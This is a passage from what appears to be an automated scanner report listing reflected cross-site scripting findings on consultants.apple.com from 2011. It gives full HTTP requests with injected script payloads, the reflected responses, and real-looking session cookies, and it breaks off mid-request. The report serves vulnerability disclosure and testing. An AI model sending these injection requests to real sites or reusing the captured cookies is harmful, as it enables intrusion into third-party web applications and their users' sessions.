s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:40 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:40 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15979

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<9fe0a;alert(1)//b3d641da807/images/acn-logo.gif" class="search" id="g-search">
...[SNIP]...

1.5. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/acn-logo.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/acn-logo.gif

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 67103%3balert(1)//d0f7d3b11d9 was submitted in the REST URL parameter 3. This input was echoed as 67103;alert(1)//d0f7d3b11d9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images67103%3balert(1)//d0f7d3b11d9/acn-logo.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:42 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:42 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15979

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</images67103;alert(1)//d0f7d3b11d9/acn-logo.gif" class="search" id="g-search">
...[SNIP]...

1.6. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/acn-logo.gif [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/acn-logo.gif

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 45a63%3balert(1)//cd99efe21cf was submitted in the REST URL parameter 4. This input was echoed as 45a63;alert(1)//cd99efe21cf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/acn-logo.gif45a63%3balert(1)//cd99efe21cf HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:47 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:47 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15979

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</images/acn-logo.gif45a63;alert(1)//cd99efe21cf" class="search" id="g-search">
...[SNIP]...

1.7. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/blurb-profiles.jpg [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/blurb-profiles.jpg

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 478a4"><script>alert(1)</script>896eff284cc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /services.php/478a4"><script>alert(1)</script>896eff284cc/images/blurb-profiles.jpg HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:38 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:38 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15961

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<form name="US" method="post" action="/services.php/478a4"><script>alert(1)</script>896eff284cc/images/blurb-profiles.jpg" class="search" id="g-search">
...[SNIP]...

1.8. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/blurb-profiles.jpg [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/blurb-profiles.jpg

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 67558%3balert(1)//c359ba8c259 was submitted in the REST URL parameter 2. This input was echoed as 67558;alert(1)//c359ba8c259 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C67558%3balert(1)//c359ba8c259/images/blurb-profiles.jpg HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:39 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:39 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15985

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<67558;alert(1)//c359ba8c259/images/blurb-profiles.jpg" class="search" id="g-search">
...[SNIP]...

1.9. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/blurb-profiles.jpg [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/blurb-profiles.jpg

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload bda66%3balert(1)//92590c5bfb6 was submitted in the REST URL parameter 3. This input was echoed as bda66;alert(1)//92590c5bfb6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/imagesbda66%3balert(1)//92590c5bfb6/blurb-profiles.jpg HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; 